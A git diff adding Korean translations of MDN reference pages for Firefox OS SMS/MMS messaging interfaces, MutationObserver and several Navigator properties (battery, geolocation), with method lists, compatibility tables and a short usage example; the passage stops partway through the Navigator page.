{{domxref("MozMobileMessageManager.onsent")}}
+
{{event("sent")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 보내졌을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onsending")}}
+
{{event("sending")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 전송 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onfailed")}}
+
{{event("failed")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.
+
+ +

메소드

+ +
+
{{domxref("MozMobileMessageManager.delete","MozMobileMessageManager.delete(param)")}}
+
메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 id, {{ domxref("MozSmsMessage") }} 객체 또는 {{ domxref("MozMmsMessage") }} 객체가 파라미터로 사용된다.
+
{{domxref("MozMobileMessageManager.getMessage()","MozSmsManager.getMessage(id)")}}
+
해당 id에 대한 메시지를 받아서 {{ domxref("DOMRequest") }} 객체를 반환한다. 이 객체의 DOMRequest.result는 {{ domxref("MozSmsMessage") }} 이다.
+
{{domxref("MozMobileMessageManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}
+
여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 Boolean 값에 따라 메시지의 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozMobileMessageManager.getSegmentInfoForText()","MozMobileMessageManager.getSegmentInfoForText(text)")}}
+
주어진 문자(보통 SMS당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.
+
{{domxref("MozMobileMessageManager.markMessageRead()","MozMobileMessageManager.markMessageRead(id, isRead)")}}
+
해당 id 의 메시지를 Boolean isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+
{{domxref("MozMobileMessageManager.send()","MozMobileMessageManager.send(number, message)")}}
+
해당 전화번호에 메시지를 전송한다. 만약 number가 {{ domxref("DOMString") }} (한 개의 전화번호) 라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 number가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)이라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.
+
{{domxref("MozMobileMessageManager.sendMMS()","MozMobileMessageManager.sendMMS(param)")}}
+
수신자 목록에 MMS를 전송한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+ param 객체는 다음과 같은 4개의 속성을 가지고 있는 일반 JavaScript 객체이다:
+ receivers: 문자열 배열, 각 문자열은 수신자의 전화번호를 나타낸다.
+ subject: MMS의 제목을 나타내는 문자열이다.
+ smil: MMS를 정의하는 SMIL 문서의 문자열 버전이다.
+ attachments: SMIL에 의해 사용되는 첨부 파일 객체의 배열이다. 이 객체는 id, location, content ({{domxref("Blob")}})를 포함하고 있다.
+
{{domxref("MozMobileMessageManager.getThreads()")}}
+
{{domxref("MozMobileMessageThread")}} 의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozMobileMessageManager.retrieveMMS()","MozMobileMessageManager.retrieveMMS(id)")}}
+
해당 id의 메시지를 받아 {{ domxref("DOMRequest") }} 를 반환한다. 이 객체의 DOMRequest.result 는 {{ domxref("MozMmsMessage") }} 이다.
+
+ +

MozMobileMessageManager 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.

+ +

{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 하지만 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmobilemessagethread/index.html b/files/ko/web/api/mozmobilemessagethread/index.html new file mode 100644 index 0000000000..4e8e8048a5 --- /dev/null +++ b/files/ko/web/api/mozmobilemessagethread/index.html @@ -0,0 +1,40 @@ +--- +title: MozMobileMessageThread +slug: Web/API/MozMobileMessageThread +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozMobileMessageThread +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

요약

+ +

DOM MozMobileMessageThread 객체는 메시지의 스레드를 나타낸다.

+ +

속성

+ +
+
{{domxref("MozMobileMessageThread.id")}} {{readonlyinline}}
+
스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMobileMessageThread.body")}} {{readonlyinline}}
+
스레드의 마지막 메시지의 본문을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMobileMessageThread.unreadCount")}} {{readonlyinline}}
+
스레드에 있는 총 읽지 않은 메시지의 개수를 반환한다.
+
{{domxref("MozMobileMessageThread.participants")}} {{readonlyinline}}
+
스레드에 각 참가자의 주소를 나타내는 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMobileMessageThread.timestamp")}} {{readonlyinline}}
+
스레드의 마지막 메시지의 타임스탬프를 나타내는 Date 객체를 반환한다.
+
{{domxref("MozMobileMessageThread.lastMessageType")}} {{readonlyinline}}
+
sms 또는 mms 값을 가지는 {{ domxref("DOMString") }} 을 반환한다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmsevent/index.html b/files/ko/web/api/mozsmsevent/index.html new file mode 100644 index 0000000000..14a7f48d51 --- /dev/null +++ b/files/ko/web/api/mozsmsevent/index.html @@ -0,0 +1,109 @@ +--- +title: MozSmsEvent +slug: Web/API/MozSmsEvent +translation_of: Archive/B2G_OS/API/MozSmsEvent +--- +

{{ Apiref() }}

+

{{ non-standard_header() }}

+

{{ B2GOnlyHeader2('certified') }}

+

요약

+

DOM MozSmsEvent 는 WebSMS 문자 메시지와 관련된 이벤트 객체이다.

+

속성

+
+
+ {{domxref("MozSmsEvent.message")}} {{readonlyinline}}
+
+ 해당 이벤트에 의해 발생된 {{ domxref("MozSmsMessage") }} 이다.
+
+

MozSmsEvent 는 또한 {{domxref("Event")}} 의 속성들을 상속받는다.

+

{{page("/en-US/docs/Web/API/Event","Properties")}}

+

메소드

+

MozSmsEvent 는 {{domxref("Event")}} 의 메소드들을 상속받는다.

+

{{page("/en-US/docs/Web/API/Event","Methods")}}

+

이벤트

+

MozSmsEvent 는 다음과 같은 이벤트들에 사용된다:

+
+
+ {{event("deliverysuccess")}}
+
+ SMS가 수신자에게 전달되었을 때 발생한다.
+
+ {{event("received")}}
+
+ SMS를 받았을 때 발생한다.
+
+ {{event("sent")}}
+
+ SMS를 보냈을 때 발생한다.
+
+

스펙

+

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+

브라우저 호환성

+

당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

참고 자료

+ diff --git a/files/ko/web/api/mozsmsfilter/index.html b/files/ko/web/api/mozsmsfilter/index.html new file mode 100644 index 0000000000..001d55e2a8 --- /dev/null +++ b/files/ko/web/api/mozsmsfilter/index.html @@ -0,0 +1,108 @@ +--- +title: MozSmsFilter +slug: Web/API/MozSmsFilter +translation_of: Archive/B2G_OS/API/MozSmsFilter +--- +

{{ Apiref() }}

+

{{ non-standard_header() }}

+

{{ B2GOnlyHeader2('certified') }}

+

요약

+

DOM MozSmsFilter 인터페이스는 {{ domxref("SmsMessage") }} 객체들을 필터링하기 위한 방법을 제공합니다.

+

속성

+
+
+ {{domxref("MozSmsFilter.startDate")}}
+
+ 메시지를 필터링하기 위한 시작일을 나타내는 Date 이다.
+
+ {{domxref("MozSmsFilter.endDate")}}
+
+ 메시지를 필터링하기 위한 종료일을 나타내는 Date 이다.
+
+ {{domxref("MozSmsFilter.numbers")}}
+
+ 전화번호로 필터링하기 위한 {{ domxref("DOMString") }} 의 배열이다.
+
+ {{domxref("MozSmsFilter.delivery")}}
+
+ 메시지를 전달 상태에 따라 필터링하기 위해 "sent"와 "received" 값을 가지게 되는 {{ domxref("DOMString") }} 이다.
+
+ {{domxref("MozSmsFilter.read")}}
+
+ 메시지를 읽었는지 읽지 않았는지를 필터링하는 Boolean 이다.
+
+ {{domxref("MozSmsFilter.threadid")}}
+
+ 스레드 id를 나타내는 숫자이다.
+
+

스펙

+

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+

브라우저 호환성

+

당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

참고 자료

+ diff --git a/files/ko/web/api/mozsmsmanager/index.html b/files/ko/web/api/mozsmsmanager/index.html new file mode 100644 index 0000000000..bfea424be7 --- /dev/null +++ b/files/ko/web/api/mozsmsmanager/index.html @@ -0,0 +1,95 @@ +--- +title: MozSmsManager +slug: Web/API/MozSmsManager +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozSmsManager +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +
+

Note: As of Gecko 25.0, this interface has been removed in favor of MozMobileMessageManager.

+
+ +

요약

+ +

기기에서 WebSMS를 사용하여 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.

+ +

이벤트 핸들러

+ +
+
{{domxref("MozSmsManager.ondeliveryerror")}}
+
{{event("deliveryerror")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되지 않았을 때 발생한다.
+
{{domxref("MozSmsManager.ondeliverysuccess")}}
+
{{event("deliverysuccess")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되었을 때 발생한다.
+
{{domxref("MozSmsManager.onreceived")}}
+
{{event("received")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS를 받았을 때 발생한다..
+
{{domxref("MozSmsManager.onsent")}}
+
{{event("sent")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 보내졌을 때 발생한다.
+
{{domxref("MozSmsManager.onsending")}}
+
{{event("sending")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 전송 단계의 시작에 SMS가 진입했을 때 발생한다.
+
{{domxref("MozSmsManager.onfailed")}}
+
{{event("failed")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.
+
+ +

메소드

+ +
+
{{domxref("MozSmsManager.delete","MozSmsManager.delete(param)")}}
+
메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 id 또는 {{ domxref("MozSmsMessage") }} 객체가 파라미터로 사용된다.
+
{{domxref("MozSmsManager.getMessage()","MozSmsManager.getMessage(id)")}}
+
해당 id에 대한 메시지를 받아서 {{ domxref("DOMRequest") }} 객체를 반환한다.  이 객체의 DOMRequest.result는 {{ domxref("MozSmsMessage") }} 이다.
+
{{domxref("MozSmsManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}
+
여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 boolean 값에 따라 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozSmsManager.getSegmentInfoForText()","MozSmsManager.getSegmentInfoForText(text)")}}
+
주어진 문자(보통 SMS 당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.
+
{{domxref("MozSmsManager.markMessageRead()","MozSmsManager.markMessageRead(id, isRead)")}}
+
해당 id의 메시지를 Boolean isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+
{{domxref("MozSmsManager.send()","MozSmsManager.send(number, message)")}}
+
해당 전화번호에 메시지를 전송한다. 만약 number가 {{ domxref("DOMString") }} (한 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 number가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.
+
{{domxref("MozSmsManager.getThreads()")}}
+
{{domxref("MozMobileMessageThread")}}의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환된다.
+
+ +

MozSmsManager 는 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.

+ +

{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ +

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmsmessage/index.html b/files/ko/web/api/mozsmsmessage/index.html new file mode 100644 index 0000000000..7918a44209 --- /dev/null +++ b/files/ko/web/api/mozsmsmessage/index.html @@ -0,0 +1,56 @@ +--- +title: MozSmsMessage +slug: Web/API/MozSmsMessage +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozSmsMessage +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

요약

+ +

DOM MozSmsMessage 객체는 SMS 문자 메시지를 나타내며 발신자, 수신자, 본문, 날짜와 같은 모든 정보를 가지고 있다.

+ +

속성

+ +
+
{{domxref("MozSmsMessage.type")}} {{readonlyinline}}
+
sms라는 값을 가지는 문자열이다.
+
{{domxref("MozSmsMessage.id")}} {{readonlyinline}}
+
메시지의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozSmsMessage.threadId")}} {{readonlyinline}}
+
메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozSmsMessage.body")}} {{readonlyinline}}
+
메시지의 본문을 나타내는 {{ domxref("DOMString") }} 를 반환한다.
+
{{domxref("MozSmsMessage.delivery")}} {{readonlyinline}}
+
received, sending, sent, error 중 하나의 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.deliveryStatus")}} {{readonlyinline}}
+
delivery 속성 값에 따라 다음과 같은 {{ domxref("DOMString") }} 을 반환한다:
+ * received : success
+ * sending  : pending 또는 not-applicable (만약 메시지가 상태 보고 요청없이 전송되었다면)
+ * sent     : pending, success, error 또는 not-applicable (만약 메시지가 상태 보고 요청없이 전송되었다면)
+ * error    : error
+
{{domxref("MozSmsMessage.read")}} {{readonlyinline}}
+
메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.
+
{{domxref("MozSmsMessage.receiver")}} {{readonlyinline}}
+
수신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.sender")}} {{readonlyinline}}
+
발신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.timestamp")}} {{readonlyinline}}
+
메시지의 타임스탬프인 Date 객체를 반환한다.
+
{{domxref("MozSmsMessage.messageClass")}} {{readonlyinline}}
+
normal, class-0, class-1, class-2, class-3 중 하나의 {{ domxref("DOMString") }} 을 반환한다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmssegmentinfo/index.html b/files/ko/web/api/mozsmssegmentinfo/index.html new file mode 100644 index 0000000000..02f324b453 --- /dev/null +++ b/files/ko/web/api/mozsmssegmentinfo/index.html @@ -0,0 +1,36 @@ +--- +title: MozSmsSegmentInfo +slug: Web/API/MozSmsSegmentInfo +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozSmsSegmentInfo +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

요약

+ +

DOM MozSmsSegmentInfo 인터페이스는 문자가 자동으로 어떻게 세그멘트로 나누어지는에 관한 정보를 제공합니다. 각 세그먼트는 멀티 파트 SMS 메시지의 단일 SMS를 나타냅니다.

+ +

MozSmsSegmentInfo 인터페이스는 직접적으로 인스턴스화 될 수 없습니다; 각 객체를 얻기 위해서는 {{domxref("MozSmsManager.getSegmentInfoForText()")}} 메소드를 사용하십시오.

+ +

속성

+ +
+
{{domxref("MozSmsSegmentInfo.segments")}} {{readonlyinline}}
+
입력 문자열에 대한 총 세그먼트의 개수이다.
+
{{domxref("MozSmsSegmentInfo.charsPerSegment")}} {{readonlyinline}}
+
각 세그먼트당 사용 가능한 문자의 개수이다.
+
{{domxref("MozSmsSegmentInfo.charsAvailableInLastSegment")}} {{readonlyinline}}
+
마지막 세그먼트에서 사용 가능한 문자의 최대 개수이다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mutationobserver/index.html b/files/ko/web/api/mutationobserver/index.html new file mode 100644 index 0000000000..092b7c5634 --- /dev/null +++ b/files/ko/web/api/mutationobserver/index.html @@ -0,0 +1,240 @@ +--- +title: MutationObserver +slug: Web/API/MutationObserver +translation_of: Web/API/MutationObserver +--- +

{{APIRef("DOM")}}

+ +

MutationObserver 는 개발자들에게 DOM 변경 감시를 제공합니다. DOM3 이벤트 기술 설명서에 정의된 Mutation Events 를 대체합니다.

+ +

생성자

+ +

MutationObserver()

+ +

새 DOM 변경 감시자의 인스턴스화에 대한 생성자.

+ +
new MutationObserver(
+  function callback
+);
+
+ +
Parameters
+ +
+
callback
+
콜백 함수는 각 DOM 변경시 마다 호출될 것입니다. 감시자는 두 인자와 함께 이 함수를 호출할 것입니다. 첫째 인자는 오브젝트들의 배열이며, 오브젝트의 각 형식은 {{domxref("MutationRecord")}} 입니다. 둘째 인자는 이 MutationObserver 인스턴스 입니다.
+
+ +

인스턴스 함수들

+ + + + + + + + + + + + + +
void observe( {{domxref("Node")}} target, MutationObserverInit options );
void disconnect();
Array takeRecords();
+ +
+

: {{domxref("Node")}}의 대상은 NodeJS 와 혼동되지 말아야 합니다.

+
+ +

observe()

+ +

특정 노드에서 DOM 변경의 알림을 받을 수 있도록 MutationObserver 인스턴스를 등록.

+ +
void observe(
+  {{domxref("Node")}} target,
+  MutationObserverInit options
+);
+
+ +
파라미터
+ +
+
target
+
DOM 변경을 감시할 {{domxref("Node")}}.
+
options
+
DOM 변경이 보고되어야 할 특정 MutationObserverInit 객체.
+
+ +
주: observer를 element에 추가하는 것은 addEventListner와 비슷하며, 여러 번 element를 관찰하더라도 차이가 나지 않습니다. element를 두번 관찰한다고해서 observe callback이 두 번 발생하지 않으며, disconnect()를 두번 실행하지 않아도 됩니다. 다시 말해서, 한번 element를 관찰하면 동일한 observer instance로 다시 관찰하더라도 아무 일이 발생하지 않습니다. 물론 callback object가 다르다면 다른 observer를 추가합니다.
+ +

disconnect()

+ +

DOM 변경 알림을 받는 MutationObserver 인스턴스 중지. observe() 재사용시까지 감시 콜백은 발동되지 않을 것입니다.

+ +
void disconnect();
+
+ +

takeRecords()

+ +

MutationObserver 인스턴스의 레코드 큐를 비우고 안에 든것을 반환합니다.

+ +
Array takeRecords();
+
+ +
반환값
+ +

{{domxref("MutationRecord")}}들의 배열을 반환.

+ +

MutationObserverInit

+ +

MutationObserverInit 는 다음 속성들을 가진 객체입니다:

+ +
주: 최소한 childList, attributes, 또는 characterData는 true로 설정해야합니다. 그렇지 않으면 'An invalid or ilegal string was specified' 오류가 발생합니다. 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성설명
childListSet to true if additions and removals of the target node's child elements (including text nodes) are to be observed.
attributesSet to true if mutations to target's attributes are to be observed.
characterDataSet to true if mutations to target's data are to be observed.
subtreeSet to true if mutations to target and target's descendants are to be observed.
attributeOldValueSet to true if attributes is set to true and target's attribute value before the mutation needs to be recorded.
characterDataOldValueSet to true if characterData is set to true and target's data before the mutation needs to be recorded.
attributeFilterSet to an array of attribute local names (without namespace) if not all attribute mutations need to be observed.
+ +

사용 예

+ +

다음 예제는 이 블로그 글에서 발췌했습니다.

+ +
// 대상 node 선택
+var target = document.getElementById('some-id');
+
+// 감시자 인스턴스 만들기
+var observer = new MutationObserver(function(mutations) {
+  mutations.forEach(function(mutation) {
+    console.log(mutation.type);
+  });
+});
+
+// 감시자의 설정:
+var config = { attributes: true, childList: true, characterData: true };
+
+// 감시자 옵션 포함, 대상 노드에 전달
+observer.observe(target, config);
+
+// 나중에, 감시를 중지 가능
+observer.disconnect();
+
+ +

더 보기

+ + + +

규격

+ + + + + + + + + + + + + + + + + + + + + +
규격상태의견
{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM4') }}
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
Feature크롬파이어폭스 (Gecko)인터넷 익스플로러오페라사파리
기본 지원18 {{property_prefix("-webkit")}}
+ 26
{{CompatGeckoDesktop(14)}}11156.0 {{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
Feature안드로이드안드로이드용 크롬파이어폭스 모바일 (Gecko)IE 폰오페라 모바일사파리 모바일
기본 지원4.418 {{property_prefix("-webkit")}}
+ 26
{{CompatGeckoMobile(14)}}11 (8.1)156 {{property_prefix("-webkit")}}
+ 7
+
diff --git a/files/ko/web/api/navigator/battery/index.html b/files/ko/web/api/navigator/battery/index.html new file mode 100644 index 0000000000..1acf5f111b --- /dev/null +++ b/files/ko/web/api/navigator/battery/index.html @@ -0,0 +1,24 @@ +--- +title: window.navigator.battery +slug: Web/API/Navigator/battery +translation_of: Web/API/Navigator/battery +--- +

{{ Apiref() }}

+

요약

+

battery 객체는 시스템의 배터리 충전 상태에 대한 정보를 제공합니다. 배터리의 충전 상태가 변화할때 발생하는 이벤트에 대한 처리도 가능 합니다. 이 객체는 Battery Status API 의 구현입니다. 보다 자세한 내용, API, 샘플 코드 등은 문서를 참고 해 주세요.

+

문법

+
var battery = window.navigator.battery;
+

+

navigator.battery 는 {{domxref("BatteryManager")}} 객체 입니다.

+

명세

+

{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}

+

브라우저 호환

+

{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}

+

참고

+ diff --git a/files/ko/web/api/navigator/geolocation/index.html b/files/ko/web/api/navigator/geolocation/index.html new file mode 100644 index 0000000000..602e294065 --- /dev/null +++ b/files/ko/web/api/navigator/geolocation/index.html @@ -0,0 +1,50 @@ +--- +title: Navigator.geolocation +slug: Web/API/Navigator/geolocation +tags: + - API + - Geolocation API + - Navigator + - Property + - Reference + - Secure context +translation_of: Web/API/Navigator/geolocation +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Navigator.geolocation 읽기 전용 속성은 웹에서 장치의 위치를 알아낼 때 사용할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다. 웹 사이트나 웹 앱은 위치정보를 사용해 결과 화면을 맞춤 설정할 수 있습니다.

+ +
+

참고: 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-navigator-geolocation', 'Navigator.geolocation')}}{{Spec2('Geolocation')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.geolocation")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/navigator/index.html b/files/ko/web/api/navigator/index.html new file mode 100644 index 0000000000..62f16807f7 --- /dev/null +++ b/files/ko/web/api/navigator/index.html @@ -0,0 +1,137 @@ +--- +title: Navigator +slug: Web/API/Navigator +tags: + - API + - DOM + - Interface + - Navigator + - Reference + - Web +translation_of: Web/API/Navigator +--- +
{{APIRef("DOM4")}}
+ +

Navigator 인터페이스는 {{glossary("user agent", "사용자 에이전트")}}의 상태와 신원 정보를 나타냅내며, 스크립트로 해당 정보를 질의할 때와 애플리케이션을 특정 활동에 등록할 때 사용합니다.

+ +

Navigator 객체는 {{domxref("window.navigator")}} 읽기 전용 속성으로 접근할 수 있습니다.

+ +

속성

+ +

아무 속성도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorage")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}가 정의한 속성을 구현합니다.

+ +

표준 속성

+ +
+
{{domxref("Navigator.connection")}} {{readonlyInline}} {{experimental_inline}}
+
장치의 네트워크 연결 정보를 담은 {{domxref("NetworkInformation")}} 객체를 반환합니다.
+
{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}
+
{{glossary("cookie", "쿠키")}} 설정을 할 수 있으면 참, 아니면 거짓을 반환합니다.
+
{{domxref("Navigator.credentials")}} {{readonlyInline}}
+
사용자 인증 정보를 요청하고, 로그인과 회원가입 등 중요한 이벤트의 발생을 {{glossary("user agent", "사용자 에이전트")}}에 알려줄 수 있는 {{domxref("CredentialsContainer")}} 인터페이스를 반환합니다.
+
{{domxref("Navigator.deviceMemory")}} {{readonlyInline}} {{experimental_inline}}
+
장치의 메모리를 기가바이트 단위로 반환합니다. 근삿값으로서, 실제 값을 가장 가까운 2의 배수로 반올림한 후에 1024로 나눠서 제공합니다.
+
{{domxref("Navigator.doNotTrack")}} {{readonlyInline}} {{experimental_inline}}
+
사용자의 추적 거부 설정 값을 반환합니다. 값이 "yes"면 웹 사이트 또는 앱에서 사용자를 추적하지 않아야 합니다.
+
{{domxref("Navigator.geolocation")}} {{readonlyInline}}
+
장치의 위치 정보에 접근할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다.
+
{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyInline}}
+
중앙처리장치의 사용 가능한 논리 코어 수를 반환합니다.
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}
+
호스트 브라우저에서 Java를 사용 가능한지 나타냅니다.
+
{{domxref('Navigator.keyboard')}} {{readonlyinline}} {{experimental_inline}}
+
Returns a {{domxref('Keyboard')}} object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
사용자의 선호 언어(주로 브라우저 UI 언어)를 나타내는 {{domxref("DOMString")}}을 반환합니다. 언어를 알 수 없는 경우 null을 반환합니다.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}} {{experimental_inline}}
+
사용자에게 알려진 언어 목록을 나타내는 {{domxref("DOMString")}} 배열을 반환합니다. 정렬 순서는 사용자의 언어 선호도입니다.
+
{{domxref("Navigator.locks")}} {{readonlyinline}} {{experimental_inline}}
+
새로운 {{domxref("Lock")}} 객체를 요청하거나, 기존 Lock 객체를 질의할 수 있는 {{domxref("LockManager")}} 객체를 반환합니다.
+
{{domxref("Navigator.maxTouchPoints")}} {{readonlyInline}}
+
현재 장치에서 지원하는 최대 동시 터치 지점의 수를 반환합니다.
+
{{domxref("Navigator.mediaCapabilities")}} {{readonlyinline}} {{experimental_inline}}
+
주어진 형식과 출력 형태에 대한 인코딩 및 디코딩 능력을 알아낼 수 있는 {{domxref("MediaCapabilities")}} 객체를 반환합니다.
+
{{domxref("Navigator.mediaDevices")}} {{readonlyinline}}
+
